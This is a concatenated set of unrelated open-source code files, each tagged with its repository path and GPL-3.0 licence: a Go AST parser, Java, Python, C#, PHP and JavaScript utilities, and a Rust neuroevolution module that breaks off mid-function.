thisMethod := CreateGoMethod(methodName)
// add functions' returns & params
__ResolveFuncType(funcType, &thisMethod.GoFunc)
__type := gpkg.GetType(recvTypeName)
if __type == nil {
//@TODO
continue
}
__assert(__type != nil && (__type.Kind == Stt || __type.Kind == Als))
if __type.Kind == Stt { // struct
__StructType := __type.Type.(*GoStruct)
__StructType.AddMethod(thisMethod)
} else { // alias
__AliasType := __type.Type.(*GoAlias)
__AliasType.AddMethod(thisMethod)
}
}
}
}
// gfile must be one file in gpkg
func __ResolveAllRelationsInPackage(gfile *GoFile, gpkg *GoPackage) {
// for interface anonymous
for _, __interface := range gfile.Ns.GetInterfaces() {
for _, anonymous := range __interface.__Anonymous {
__a_type := gpkg.GetType(anonymous)
if __a_type == nil {
//@TODO
continue
}
// must be interface in interface, otherwise the compiler will give an error
__assert(__a_type.Kind == Itf)
__a_itf := __a_type.Type.(*GoInterface)
__interface.Extends[anonymous] = __a_itf
}
}
// pick out the structs & interfaces from anonymous that this file knowns
for _, __struct := range gfile.Ns.GetStructs() {
for _, anonymous := range __struct.__Anonymous {
__a_type := gpkg.GetType(anonymous)
if __a_type == nil {
//@TODO this is a type defined in another package
continue
}
switch __a_type.Kind {
case Stt:
__struct.Extends[anonymous] = __a_type.Type.(*GoStruct)
case Itf:
__struct.Interfaces[anonymous] = __a_type.Type.(*GoInterface)
// delete these functions (existance ensured by compiler)
for methodName, _ := range __a_type.Type.(*GoInterface).Methods {
delete(__struct.Methods, methodName)
}
case Als:
case Bti:
default:
panic("golang/golang.go ## __ResolveAllRelations: should not reach here")
}
}
}
// find out interfaces implemented by type
for _, __type := range gfile.Ns.GetTypes() {
if __type.Kind != Stt && __type.Kind != Als {
continue
}
var Methods map[string]*GoMethod = nil
var Interfaces map[string]*GoInterface = nil
if __type.Kind == Stt {
Methods = __type.Type.(*GoStruct).Methods
Interfaces = __type.Type.(*GoStruct).Interfaces
} else {
Methods = __type.Type.(*GoAlias).Methods
Interfaces = __type.Type.(*GoAlias).Interfaces
}
__assert(Methods != nil && Interfaces != nil)
for _, _gfile := range gpkg.Files {
for _, __interface := range _gfile.Ns.GetInterfaces() {
if _, ok := Interfaces[__interface.Name]; ok {
// skip
continue
}
if __IsInterfaceImplemented(Methods, __interface) {
Interfaces[__interface.Name] = __interface
// delete these functions (existance ensured by compiler)
for methodName, _ := range __interface.Methods {
delete(Methods, methodName)
}
}
}
}
}
/*
* Type's Methods += Type's Extends' Methods + Types's Interfaces' Methods
* Type's Interfaces += Type's Extends's Interfaces
*/
}
func __MergePackageFiles(pkg *ast.Package, gpkg *GoPackage) {
// methods of struct and alias
for _, file := range pkg.Files {
__ResolveAllMethodsInPackage(file, gpkg)
}
for _, gfile := range gpkg.Files {
__ResolveAllRelationsInPackage(gfile, gpkg)
}
}
func __ParsePackage(pkg *ast.Package, relativePath string) *GoPackage {
gpkg := CreateGoPackage(pkg.Name, relativePath)
for fileName, file := range pkg.Files {
fileName = filepath.Join(relativePath, filepath.Base(fileName))
/*
*fmt.Fprintf(os.Stdout, "Processing %s\n", fileName)
*/
gpkg.Files[fileName] = __GenerateGoFileFromAstFile(file, fileName)
}
__MergePackageFiles(pkg, gpkg)
return gpkg
}
func __ParseDir(__dir string, __relative_path string) (*GoProject, error) {
proName := path.Base(__dir)
fset := token.NewFileSet()
var err error = nil
var pkgs map[string]*ast.Package = nil
if pkgs, err = parser.ParseDir(fset, __dir, nil, 0); err != nil {
return nil, err
}
gpro := CreateGoProject(proName)
gpkgs := gpro.Packages
for packageName, pkg := range pkgs {
gpkgs[packageName] = __ParsePackage(pkg, __relative_path)
}
// parse the subdirs recursively
const all = -1
if df, err := os.Open(__dir); err != nil {
return nil, err
} else {
if fi, err := df.Readdir(all); err == nil {
for _, can_dir := range fi {
if can_dir.IsDir() {
// parse this dir
sub_dir := __dir + "/" + can_dir.Name()
//@TODO
if can_dir.Name() == "testcases" {
continue
}
if _gpro, err := __ParseDir(sub_dir, filepath.Join(__relative_path, can_dir.Name())); err != nil {
return gpro, err
} else if _gpro != nil {
gpro.SubPros[_gpro.Name] = _gpro
_gpro.Upper = gpro
}
}
}
}
}
// empty dir (there're no go src files in this dir)
if len(gpro.Packages) == 0 && len(gpro.SubPros) == 0 {
return nil, nil
//return nil, errors.New("Empty dir without any go src files or dirs: " + __dir)
} else {
return gpro, nil
}
}
func ParseProject(__dir string) (*GoProject, error) {
absolute_path, err := filepath.Abs(__dir)
if err != nil {
return nil, err
}
pro, err := __ParseDir(absolute_path, "")
return pro, err
}
// this function is only for test
func __PrintNamespace(ns *goNamespace) {
fmt.Println(ns.Types)
fmt.Println(ns.Funcs)
}
| gpl-3.0 |
stephenrkell/dwarfpython | contrib/flex/ast/NamePhrase.cc | 734 | #include "ast.h"
/**
* inherits: BasePhrase
* A wrapper around a T_NAME;
* private: T_NAME name;
*/
NamePhrase *NamePhrase::parse(T_NAME name)
{
NamePhrase * np = new NamePhrase();
np->name = name;
return np;
}
void NamePhrase::toStream(std::ostream& strm)
{
strm << this->name;
}
ParathonAssigner *NamePhrase::getAssigner(ParathonContext& c)
{
return new ParathonContextAssigner(c, this->name);
}
ParathonValue *NamePhrase::evaluate(ParathonContext &c)
{
if (c.lookup(this->name))
return c.lookup(this->name);
else
{
throw ParathonException("NameError: name '" + string(this->name) + "' is not defined", linenum);
}
}
char * NamePhrase::getName()
{
return this->name;
}
| gpl-3.0 |
AKryukov92/tasks-for-algorithmisation | решения/java/src/Lab15/example/task8258/Comparator8258.java | 461 | package Lab15.example.task8258;
import java.util.Comparator;
/**
* @author akryukov
* 18.07.2017
*/
public class Comparator8258 implements Comparator<Integer> {
@Override
public int compare(Integer o1, Integer o2) {
int d1 = Math.abs(o1 - 6);
int d2 = Math.abs(o2 - 6);
if(d1 > d2){
return 1;
} else if (d1 == d2) {
return 0;
} else {
return -1;
}
}
}
| gpl-3.0 |
GoMake/gomake-mock-data | device/sensors.py | 1648 | from random import choice,randint,uniform
from urllib import urlencode
class Sensors():
"""
latitude=42.3347161667&longitude=-72.6807305&altitude=00077&satellites=10&fix_quality=2&Sound=247&Barometer=338.73&Temperature=-22.20
"""
def __init__(self,coords=[]):
self.start_latitude = '42.3347161667'
self.start_longitude = '-72.6807305'
self.start_altitude = '00077'
if(len(coords) > 0):
self.coords = coords
def get_hex_string(self):
sensor_data = {
'latitude': self.get_latitude(),
'longitude': self.get_longitude(),
'altitude': self.get_altitude(),
'satellites': self.get_satellites(),
'fix_quality': self.get_fix_quality(),
'Ozone': self.get_ozone(),
'Barometer': self.get_barometer(),
'Temperature': self.get_temperature()
}
data_string = urlencode(sensor_data)
return self.to_hex(data_string)
def get_latitude(self):
if(len(self.coords) > 0):
return str(choice(self.coords)[0])
return self.start_latitude
def get_longitude(self):
if(len(self.coords) > 0):
return str(choice(self.coords)[1])
return self.start_longitude
def get_altitude(self):
if(len(self.coords) > 0):
return str(choice(self.coords)[2])
return self.start_altitude
def get_satellites(self):
return str(randint(0,13))
def get_fix_quality(self):
return str(randint(0,4))
def get_temperature(self):
return ("%.2f" % uniform(-45,30))
def get_barometer(self):
return ("%.2f" % uniform(100,500))
def get_sound(self):
return str(randint(0,500))
def get_ozone(self):
return str(randint(10,1000))
def to_hex(self,data_string):
return "".join([hex(ord(c))[2:].zfill(2) for c in data_string])
| gpl-3.0 |
kevinsea/dsc-generator | DesiredStateGenerator/Common/DesiredStateBase.cs | 3829 | using System.Collections.Generic;
using System.Text;
namespace DesiredState.Common
{
/// <summary>
// Provides base plumbing for desired state classes.
/// Allow you to add whatever attributes you need
/// and does code generation of all attributes provided
/// </summary>
internal abstract class DesiredStateBase
{
protected abstract string DscObjectType { get; }
public string Key { get; protected set; }
/// <summary>
/// The object name. In IIS this would map to Pool or Site name in the UI.
/// Map this to the appropriate attribute.
/// </summary>
public string Name { get; protected set; }
public string ObjectDescription { get; protected set; }
public List<Attribute> Attributes = new List<Attribute>();
protected DesiredStateBase()
{
this.ObjectDescription = "";
this.Name = "";
}
public void AddAttribute(string paramName, object value)
{
var comment = "";
CreateAttribute(paramName, value, comment);
}
public void AddAttributeWithOverrideValue(string paramName, object value, object sourceServerValue)
{
var comment = CodeGenHelpers.GetOverrideComment(value, sourceServerValue);
CreateAttribute(paramName, value, comment);
}
public void AddAttributeWithComment(string paramName, object value, string comment)
{
comment = " # " + comment;
CreateAttribute(paramName, value, comment);
}
private void CreateAttribute(string paramName, object value, string comment)
{
string code = CodeGenHelpers.FormatAttributeCode(paramName, value);
var attrib = new Attribute(paramName, code, comment);
this.Attributes.Add(attrib);
// TODO this is messy, review
if (CodeGenHelpers.AreEqualCI(paramName, "name"))
{
this.Name = value.ToString();
}
}
public string GetCode(int baseIndentDepth, CodeGenType codeGenType = CodeGenType.Parent)
{
var baseIndent = CodeGenHelpers.GetIndentString(baseIndentDepth);
string scriptPrefix = "";
string scriptSuffix = "";
string blockvariableName = "";
var sb = new StringBuilder();
if (codeGenType == CodeGenType.Parent) // The parent needs to have a variable name
blockvariableName = this.Key;
string objectDescriptionComment = (this.ObjectDescription.Trim() == "") ? "" : " # " + this.ObjectDescription;
sb.AppendLine(baseIndent + scriptPrefix + DscObjectType + " " + blockvariableName + objectDescriptionComment);
sb.AppendLine(baseIndent + "{");
foreach (var a in this.Attributes)
{
sb.AppendLine(baseIndent + CodeGenHelpers.Indent + a.Code + a.Comment);
}
sb.Append(this.GetChildCode(baseIndentDepth + 1));
sb.AppendLine(baseIndent + "}" + scriptSuffix);
return sb.ToString();
}
public virtual string GetChildCode(int baseIndentDepth)
{
return ""; //the default is no child code
}
public class Attribute
{
public Attribute(string name, string code, string comment = "")
{
Name = name;
Code = code;
Comment = comment;
}
public readonly string Name;
public readonly string Code;
public readonly string Comment;
}
}
public enum CodeGenType
{
Parent = 1,
SingleChild = 2,
MultiChild = 3
}
}
| gpl-3.0 |
mngad/findStiffness | findStiffness.py | 3017 |
import os
import pandas
import pyperclip as pc
def findStiffness(segSize, incrSize, plot, fileDir):
allRes = ''
os.chdir(fileDir)
# Scan through them separating them.
listOfFolderNames = os.listdir(fileDir)
listOfFolderNames.sort() # Sort alphabetically - important for plotting
newFolderList = []
# print(listOfFolderNames)
for folder in listOfFolderNames: # This is to solve the problem that it
# doesn't run if other files are in the folder...
if 'RawData' in folder:
newFolderList.append(folder)
graphList = []
graphList.append([])
pltCount = 0
for folder in newFolderList:
s = []
MaxS = 0
lower = 0
fileLoc = folder + '/Specimen_RawData_1.csv'
data = pandas.read_csv(fileLoc, header=1)
countr = 0
# print(folder)
load = list(data['(N)'])
for i in load: # removes the cycling preload from the data
if(i <= 51):
lower = countr
countr = countr + 1
xdata = data['(mm)']
ydata = data['(N)']
displacment = xdata.tolist()
load = ydata.tolist()
displacment = displacment[lower:]
load = load[lower:]
xmin = displacment[0]
fail = False
c = 0
for i in range(len(displacment)): # starts the data at 0 not 50
diff = displacment[i] - xmin
displacment[i] = diff
for i in range(len(displacment)): # finds an appropriate
# starting point so that the last segment is always up to the
# end of the data
c = c + 1
if ((len(displacment) - 1) - (incrSize * c)
- segSize) < (incrSize):
# the -1 is
# there due to array starting at
# 0 -> e.g. len(displacment) =56;
# but displacment-56 = is out of bounds :)
aa = len(displacment) - (incrSize * c) - 1 - segSize
break
while (aa + segSize + incrSize) < len(displacment):
s.append((load[aa + segSize] - load[aa]) /
(displacment[aa + segSize] - displacment[aa]))
aa = aa + incrSize
if plot:
graphList[pltCount].append(displacment)
graphList[pltCount].append(load)
graphList[pltCount].append(folder)
graphList.append([])
pltCount = pltCount + 1
MaxS = max(s)
# if(MaxS>s[-1:]):
# fail = True
# Mindex = s.index(max(s))
# allRes = allRes + str(segSize) + ', ' + folder[:-16] + ', '
# + str(MaxS) + ', fail = ' + str(fail) + '\n'
allRes = allRes + folder[:-16] + ', ' + \
str(MaxS) + ', fail = ' + str(fail) + '\n'
print(allRes)
pc.copy(allRes)
return(graphList)
print('Results copies to clipboard')
if __name__ == "__main__":
data = findStiffness(10, 1, False, 'M:\HT_Compression_All\G41-11')
| gpl-3.0 |
AbhishekGhosh/WordPress-HP-Cloud-CDN-Plugin | openstack_shell_widget.php | 4817 | <?php
/*
Plugin Name: OpenStack Shell
Plugin URI: https://thecustomizewindows.com
Description: A Better Way to Use OpenStack Python Clients to Upload to OpenStack Object Storage (SWIFT) From WordPress. Intended for sysadmins, advanced users and developers. Needs SSH access.
Version: 1.5
Author: Abhishek Ghosh
Author URI: https://thecustomizewindows.com
License: GNU GPLv3
*/
add_action('openstack_shell_setup', array('OpenStack_Shell_Widget','init') );
defined('WP_PLUGIN_URL') or die('Restricted access');
define('OpenStack_Shell_Widget', ABSPATH.PLUGINDIR.'/shell_plugin/');
define('OpenStack_Shell_Widget', WP_PLUGIN_URL.'/shell_plugin/');
class OpenStack_Shell_Widget {
/**
* The id of this widget.
*/
const wid = 'openstack_shell_widget';
/**
* Hook to wp_dashboard_setup to add the widget.
*/
public static function init() {
//Register widget settings...
self::update_dashboard_widget_options(
self::wid, //The widget id
array( //Associative array of options & default values
'example_number' => 42,
),
true //Add only (will not update existing options)
);
//Register the widget...
wp_add_dashboard_widget(
self::wid, //A unique slug/ID
__( 'OpenStack Shell Instruction', 'nouveau' ),//Visible name for the widget
array('OpenStack_Shell_Widget','widget'), //Callback for the main widget content
array('OpenStack_Shell_Widget','config') //Optional callback for widget configuration content
);
}
/**
* Load the widget code
*/
public static function widget() {
require_once( 'shell.php' );
}
/**
* Load widget config code.
*
* This is what will display when an admin clicks
*/
public static function config() {
require_once( 'shell-config.php' );
}
/**
* Gets the options for a widget of the specified name.
*
* @param string $widget_id Optional. If provided, will only get options for the specified widget.
* @return array An associative array containing the widget's options and values. False if no opts.
*/
public static function get_dashboard_widget_options( $widget_id='' )
{
//Fetch ALL dashboard widget options from the db...
$opts = get_option( 'dashboard_widget_options' );
//If no widget is specified, return everything
if ( empty( $widget_id ) )
return $opts;
//If we request a widget and it exists, return it
if ( isset( $opts[$widget_id] ) )
return $opts[$widget_id];
//Something went wrong...
return false;
}
/**
* Gets one specific option for the specified widget.
* @param $widget_id
* @param $option
* @param null $default
*
* @return string
*/
public static function get_dashboard_widget_option( $widget_id, $option, $default=NULL ) {
$opts = self::get_dashboard_widget_options($widget_id);
//If widget opts dont exist, return false
if ( ! $opts )
return false;
//Otherwise fetch the option or use default
if ( isset( $opts[$option] ) && ! empty($opts[$option]) )
return $opts[$option];
else
return ( isset($default) ) ? $default : false;
}
/**
* Saves an array of options for a single dashboard widget to the database.
* Can also be used to define default values for a widget.
*
* @param string $widget_id The name of the widget being updated
* @param array $args An associative array of options being saved.
* @param bool $add_only If true, options will not be added if widget options already exist
*/
public static function update_dashboard_widget_options( $widget_id , $args=array(), $add_only=false )
{
//Fetch ALL dashboard widget options from the db...
$opts = get_option( 'dashboard_widget_options' );
//Get just our widget's options, or set empty array
$w_opts = ( isset( $opts[$widget_id] ) ) ? $opts[$widget_id] : array();
if ( $add_only ) {
//Flesh out any missing options (existing ones overwrite new ones)
$opts[$widget_id] = array_merge($args,$w_opts);
}
else {
//Merge new options with existing ones, and add it back to the widgets array
$opts[$widget_id] = array_merge($w_opts,$args);
}
//Save the entire widgets array back to the db
return update_option('dashboard_widget_options', $opts);
}
}
| gpl-3.0 |
nkrul/mirage | src/main/java/com/kncept/mirage/classformat/parser/struct/attributes/MethodParameters_attribute.java | 1316 | package com.kncept.mirage.classformat.parser.struct.attributes;
import java.io.IOException;
import com.kncept.mirage.classformat.parser.SimpleDataTypesStream;
import com.kncept.mirage.classformat.parser.struct.attribute_info;
import com.kncept.mirage.classformat.parser.struct.cp_info;
/**
*
<pre>
MethodParameters_attribute {
u2 attribute_name_index;
u4 attribute_length;
u1 parameters_count;
{ u2 name_index;
u2 access_flags;
} parameters[parameters_count];
}
</pre>
*
* @author nick
*
*/
public class MethodParameters_attribute extends attribute_info {
public byte parameters_count;
public parameters parameters[];
public MethodParameters_attribute(
int attribute_name_index,
int attribute_length,
SimpleDataTypesStream in,
cp_info[] zeroPaddedConstantPool
) throws IOException {
super(attribute_name_index, attribute_length, in, zeroPaddedConstantPool);
parameters_count = in.u1();
parameters = new parameters[parameters_count];
for(int i = 0; i < parameters_count; i++)
parameters[i] = new parameters(in);
}
public static class parameters {
public final int name_index;
public final int access_flags;
public parameters(SimpleDataTypesStream in) throws IOException {
name_index = in.u2();
access_flags = in.u2();
}
}
}
| gpl-3.0 |
gvera85/sikronk | application/controllers/limpiarTablasSistema.php | 666 | <?php
class limpiarTablasSistema extends CI_Controller{
public function __construct()
{
parent::__construct();
$this->load->database();
$this->load->helper('url');
$this->session->set_userdata('titulo', 'Eliminar tablas sistema');
if( !$this->session->userdata('isLoggedIn') ) {
redirect('/login/show_login');
}
}
function index(){
$this->load->model('admin_m');
$resultado = $this->admin_m->eliminarDatosViajesSistema();
if ($resultado)
$this->load->view('operacionExitosa');
}
} | gpl-3.0 |
sonofeft/M_Pool | m_pool/examples/solve_min_chk.py | 986 | from m_pool.matrix_pool import MatrixPool
from m_pool.axis_obj import Axis
MP = MatrixPool(name='CHECK')
epsAxis = Axis({'name':'eps', 'valueL':[10., 20., 30., 40., 50.], 'units':'', 'transform':''})
pcAxis = Axis({'name':'pc', 'valueL':[100.,200.,300,400], 'units':'psia', 'transform':''})
mrAxis = Axis({'name':'mr', 'valueL':[1,2,3,4], 'units':'', 'transform':''})
for A in [epsAxis, pcAxis, mrAxis]:
MP.add_axis( A )
def chkfunc(pc, eps, mr):
#return eps + 2.0*pc + 0.1*mr
return (((eps-35.0)**2) + 2.0*((pc-225.)**2) + 333.333*(mr-1.75)**2)
M = MP.add_matrix( name='cea_isp', units='sec', axisNameL=['eps','pc','mr'] )
for eps in epsAxis:
for pc in pcAxis:
for mr in mrAxis:
val = chkfunc(pc, eps, mr)
M.setByName( pc=pc, eps=eps, mr=mr, val=val )
#print M
print('len(M.shape()) =',len(M.shape()))
interpD, max_val = M.solve_interp_min( order=2, method='TNC', tol=1.0E-8)
print('interpD =',interpD)
print('max_val =',max_val)
| gpl-3.0 |
sentora/sentora-core | modules/dns_manager/assets/dns.js | 11483 | /*
* @copyright 2014-2019 Sentora Project (http://www.sentora.org/)
* Sentora is a GPL fork of the ZPanel Project whose original header follows:
*
* dns.js
*
* @package ZPanel DNS Manager
* @version 1.0.0
* @author Jason Davis - <jason.davis.fl@gmail.com>
* @copyright (c) 2013 ZPanel Group - http://www.zpanelcp.com/
* @license http://opensource.org/licenses/gpl-3.0.html GNU Public License v3
*/
/*
NEW DNS Module JavaScript by Jason Davis
7/6/2013
*/
var SentoraDNS = {
unsavedChanges: false,
init: function() {
//this.cache.dnsTitleId = $("#dnsTitle");
// Cache some Selectors for increased performance
SentoraDNS.cache.dnsTitleId = $("#dnsTitle");
SentoraDNS.events.init();
},
cache: {},
events: {
promptBeforeClose: function(e) {
var e = e || window.event;
if (!SentoraDNS.unsavedChanges) return;
if (e) {
e.returnValue = 'There are unsaved changes. Are you sure you wish to leave without saving these changes?';
}
return 'There are unsaved changes. Are you sure you wish to leave without saving these changes?';
},
init: function() {
var mXWarning,
nSWarning;
// If user trys to leave the page with UN-SAVED changes, we will Alert them
$(window).on('beforeunload', SentoraDNS.events.promptBeforeClose);
//$("#typeMX div.hostName input").on('keypress',function() {
$(document).on('keypress', '#typeMX div.hostName > input', function() {
Sentora.utils.log('MX hostname change');
var hostnameSelector = $(this);
mXWarning = 'The host name portion of an MX record is typically left blank.<BR/>' +
'Only enter host name if you want the email address to be similar to <strong>username@hostname.example.com</strong>, ' +
'where hostname is what you are entering and example.com is the current domain name.';
Sentora.dialog.confirm({
title: 'WARNING',
message: mXWarning,
width: 300,
cancelCallback: function(hostname) {
hostnameSelector.val('');
},
cancelButton: {
text: 'Cancel',
show: true,
class: 'btn-default'
},
okButton: {
text: 'Confirm',
show: true,
class: 'btn-primary'
},
});
$(document).off('keypress', '#typeMX div.hostName > input');
//$("div.dnsRecordMX div.hostName input").die();
});
// Show Dialog when Delete button hit
// Show Dialog if Hostname Matches the Domain Name
$(document).on('change','div.hostName > input',function() {
Sentora.utils.log('hostname change fired');
var hostnameSelector = $(this);
var hostName = $(this).val();
var domainName = $("#domainName").val();
var pattern = new RegExp(domainName + "$","g");
if ( hostName.match(pattern) != null ) {
var msg = '<strong>Warnig:</strong> A host name record has been entered with the domain name.<BR/><BR/>' +
'The result will be the following:<BR/><strong>' + $(this).val() + '.' + $("#domainName").val() + '</strong><BR/><BR/>' +
'If this is not what you intended, <strong>Click Cancel</strong> to remove the domain name from the host name field and enter in only the host value.';
Sentora.dialog.confirm({
title: 'WARNING',
message: msg,
width: 300,
cancelCallback: function (hostname) {
hostnameSelector.val('');
},
cancelButton: {text: 'Cancel', show: true, class: 'btn-default'},
okButton: {text: 'Confirm', show: true, class: 'btn-primary'},
});
}
});
// Activate SAVE and UNDO Buttons when Record Row EDITED
$(document).on("keydown", "#dnsRecords input", function() {
//$("#dnsTitle").find(".save, .undo").removeClass("disabled");
Sentora.utils.log(SentoraDNS.cache.dnsTitleId);
Sentora.utils.log($("#dnsTitle"));
//$("#dnsTitle").find(".save, .undo").removeClass("disabled");
SentoraDNS.cache.dnsTitleId.find(".save, .undo").removeClass("disabled");
$(".tab-pane > .add").find(".save").removeClass("disabled");
});
// Activate SAVE and UNDO Buttons when Record Row DELETED
// $("#dnsRecords span.delete").on("click",function() {
// $("#dnsTitle a.save, #dnsTitle a.undo").removeClass("disabled");
// });
// Add new Record Row
$("#dnsRecords div.add > .btn").click(function(e) {
Sentora.utils.log('add record button clicked');
SentoraDNS.records.addRow($(this));
e.preventDefault();
});
// Mark Record as "Deleted" and change the view of it's Row to reflect a Deleted item
$(document).on("click", ".delete", function(e) {
SentoraDNS.records.deleteRow($(this));
e.preventDefault();
});
// Show Undo button when editing an EXISTING ROW
$(document).on("keydown", "div.dnsRecord input[type='text']", function() {
$(this).parents("div.dnsRecord").find("button.undo").fadeIn('slow');
SentoraDNS.unsavedChanges = true;
});
// Undo editing of an EXISTING ROW
$("button.undo").on("click", function() {
SentoraDNS.records.undoRow($(this));
});
//Save Changes
//$("#dnsTitle").find(".save").removeClass("disabled");
$("#dnsTitle a.save").click(function() {
if ($(this).hasClass("disabled")) return false;
Sentora.loader.showLoader();
$("form").submit();
return false;
});
$(".tab-pane > .add").find(".save").click(function() {
if ($(this).hasClass("disabled")) return false;
Sentora.loader.showLoader();
$("form").submit();
return false;
});
//Undo ALL Record Type Changes
$("#dnsTitle a.undo").click(function() {
if ($(this).hasClass("disabled")) return false;
$("button.undo").click();
$(".tab-pane .new").remove();
$("#dnsTitle a.save, #dnsTitle a.undo").addClass("disabled");
SentoraDNS.unsavedChanges = false;
return false;
});
$("form").submit(function() {
SentoraDNS.unsavedChanges = false;
//Remove any entries that have no value for any relevant fields
$("div.dnsRecord").each(function() {
var hasValue = false;
$("input", $(this)).not("input[name*='ttl'], input[name*='type']").filter(function() {
var val = $(this).val();
return val != "" || val > 0;
}).each(function() {
hasValue = true;
});
if (!hasValue) {
$(this).remove();
}
});
return true;
});
},
},
records: {
// Add new record row
addRow: function(record) {
// Get correct DNS Record Template Div and Clone a copy of it
var newRecord = record.parents("div.add").nextAll(".newRecord").clone();
// Update New Record Counter Input field
var counterElement = $("#dnsRecords input[name='newRecords']");
var newId = parseInt(counterElement.attr("value"));
newId++;
counterElement.attr("value", newId);
// Remove Labels from New records
if (record.parents("div.add").siblings().length > 2) {
Sentora.utils.log('div .add sibblings...');
Sentora.utils.log(record.parents("div.add").siblings());
//newRecord.find("label").remove();
}
// Set new record name
$("input", newRecord).each(function() {
var fieldName = $(this).attr("name").replace("proto_", "");
$(this).attr("name", fieldName + "[new_" + newId + "]");
});
// Set CSS Class to mark record as NEW
newRecord.addClass("dnsRecord new").removeClass("newRecord");
newRecord.insertBefore(record.parents("div.add")).fadeIn();
record.parents("div.records").scrollTop(record.parents("div.records").scrollTop() + 1000);
$("#dnsTitle a.undo").removeClass("disabled");
},
save: function() {
},
undoRow: function(row) {
// Remove .tabError from all Tabs that have child Divs with .dnsRecordError
$(".records div.dnsRecordError").parents("div.records").each(function(index) {
var id = this.id;
$("a[href='#" + id + "']").removeClass("tabError");
});
// Remove Disabled class from text inputs
//row.siblings().children('.input-small').addClass("disabled");
row.parents("div.dnsRecord").find("input[type='text']").each(function() {
var myName = $(this).attr("name");
myName = "original_" + myName;
$(this).val($("input[name='" + myName + "']").val());
$(this).parents("div.dnsRecord").removeClass("dnsRecordError");
$(this).parents("div.dnsRecord").find("div.errorMessage").remove();
$(this).parents("div.dnsRecord").removeClass("deleted").find("input.delete").val("false");
});
row.fadeOut('fast');
},
deleteRow: function(row) {
row.parents("div.dnsRecord").addClass("deleted").find("input.delete").val("true");
row.parents("div.dnsRecord").find("button.undo").fadeIn('slow');
// Add Disabled class to Deleted inputs
//row.siblings().children('.input-small').addClass("disabled");
$("#dnsTitle a.save, #dnsTitle a.undo").removeClass("disabled");
SentoraDNS.unsavedChanges = true;
},
delete: function() {
var target = document.getElementById('zloader_content');
},
}
};
$(function() {
SentoraDNS.init();
}); | gpl-3.0 |
thanhnew2001/jhms | web/src/main/java/com/ph/hms/action/util/PrepaidCardTransactionDetailAction.java | 2666 | package com.ph.hms.action.util;
import java.sql.ResultSet;
import java.util.ArrayList;
import antlr.collections.List;
import com.opensymphony.xwork.ActionSupport;
import com.ph.hms.Druginvoice;
import com.ph.hms.DruginvoiceManager;
import com.ph.hms.EncounterManager;
import com.ph.hms.HMSDataManager;
import com.ph.hms.Receipt;
import com.ph.hms.ReceiptManager;
public class PrepaidCardTransactionDetailAction extends ActionSupport {
private String prepaidCard;
public String getPrepaidCard() {
return prepaidCard;
}
public void setPrepaidCard(String prepaidCard) {
this.prepaidCard = prepaidCard;
}
private ArrayList<Receipt> receipts;
private ArrayList<Druginvoice> druginvoices;
public ArrayList<Receipt> getReceipts() {
return receipts;
}
public void setReceipts(ArrayList<Receipt> receipts) {
this.receipts = receipts;
}
public ArrayList<Druginvoice> getDruginvoices() {
return druginvoices;
}
public void setDruginvoices(ArrayList<Druginvoice> druginvoices) {
this.druginvoices = druginvoices;
}
private ReceiptManager receiptManager;
private DruginvoiceManager druginvoiceManager;
private EncounterManager encounterManager;
public ReceiptManager getReceiptManager() {
return receiptManager;
}
public void setReceiptManager(ReceiptManager receiptManager) {
this.receiptManager = receiptManager;
}
public DruginvoiceManager getDruginvoiceManager() {
return druginvoiceManager;
}
public void setDruginvoiceManager(DruginvoiceManager druginvoiceManager) {
this.druginvoiceManager = druginvoiceManager;
}
public EncounterManager getEncounterManager() {
return encounterManager;
}
public void setEncounterManager(EncounterManager encounterManager) {
this.encounterManager = encounterManager;
}
private double totalPaid;
public double getTotalPaid() {
return totalPaid;
}
public void setTotalPaid(double totalPaid) {
this.totalPaid = totalPaid;
}
private I18nManager i18nManager;
public I18nManager getI18nManager() {
return i18nManager;
}
public void setI18nManager(I18nManager manager) {
i18nManager = manager;
}
private double remain;
public double getRemain() {
return remain;
}
public void setRemain(double remain) {
this.remain = remain;
}
public String execute() throws Exception {
receipts = (ArrayList<Receipt>)receiptManager.getReceiptByPrepaidCard(prepaidCard);
druginvoices = (ArrayList<Druginvoice>)druginvoiceManager.getDruginvoiceByPrepaidCard(prepaidCard);
totalPaid = encounterManager.getTotalPaidOfPrepaidCard(prepaidCard);
remain = 1000000 - totalPaid;
return SUCCESS;
}
}
| gpl-3.0 |
yurytsoy/revonet | src/ne.rs | 7707 | use rand::{Rng};
use std;
use context::*;
use ea::*;
use ga::*;
use math::*;
use neuro::*;
use problem::*;
use result::*;
use settings::*;
/// Represents individual for neuroevolution. The main difference is that the NE individual also
/// has a `network` field, which stores current neural network.
#[derive(Clone, Debug, Deserialize, Serialize)]
pub struct NEIndividual {
genes: Vec<f32>,
fitness: f32,
network: Option<MultilayeredNetwork>,
}
#[allow(dead_code)]
impl<'a> NEIndividual {
/// Update individual's network by assigning gene values to network's weights.
fn update_net(&mut self) {
// println!("update net");
match &mut self.network {
&mut Some(ref mut net) => {
// copy weights from genes to NN.
let (mut ws, mut bs) = (Vec::new(), Vec::new());
// println!("{:?}", self.genes);
let mut cur_idx = 0;
// weights.
for layer in net.iter_layers() {
// println!("getting slice for weights {}..{}", cur_idx, (cur_idx + inputs_num * layer.len()));
let inputs_num = layer.get_inputs_num();
ws.push(Vec::from(&self.genes[cur_idx..(cur_idx + inputs_num * layer.len())]));
cur_idx += inputs_num * layer.len();
// inputs_num = layer.len();
}
// biases.
for layer in net.iter_layers() {
// println!("getting slice for biases {}..{}", cur_idx, (cur_idx + layer.len()));
bs.push(Vec::from(&self.genes[cur_idx..(cur_idx + layer.len())]));
cur_idx += layer.len();
}
// println!("set weights");
net.set_weights(&ws, &bs);
},
&mut None => {
println!("[update_net] Warning: network is not defined");
}
}
}
}
impl Individual for NEIndividual {
fn new() -> NEIndividual {
NEIndividual{
genes: Vec::new(),
fitness: std::f32::NAN,
network: None,
}
}
fn init<R: Rng>(&mut self, size: usize, mut rng: &mut R) {
self.genes = rand_vector_std_gauss(size as usize, rng);
}
fn get_fitness(&self) -> f32 {
self.fitness
}
fn set_fitness(&mut self, fitness: f32) {
self.fitness = fitness;
}
fn to_vec(&self) -> Option<&[f32]> {
Some(&self.genes)
}
fn to_vec_mut(&mut self) -> Option<&mut Vec<f32>> {
Some(&mut self.genes)
}
fn to_net(&mut self) -> Option<&MultilayeredNetwork> {
self.update_net();
match &self.network {
&Some(ref net) => Some(net),
&None => None
}
}
fn to_net_mut(&mut self) -> Option<&mut MultilayeredNetwork> {
self.update_net();
match &mut self.network {
&mut Some(ref mut net) => {Some(net)},
&mut None => None
}
}
fn set_net(&mut self, net: MultilayeredNetwork) {
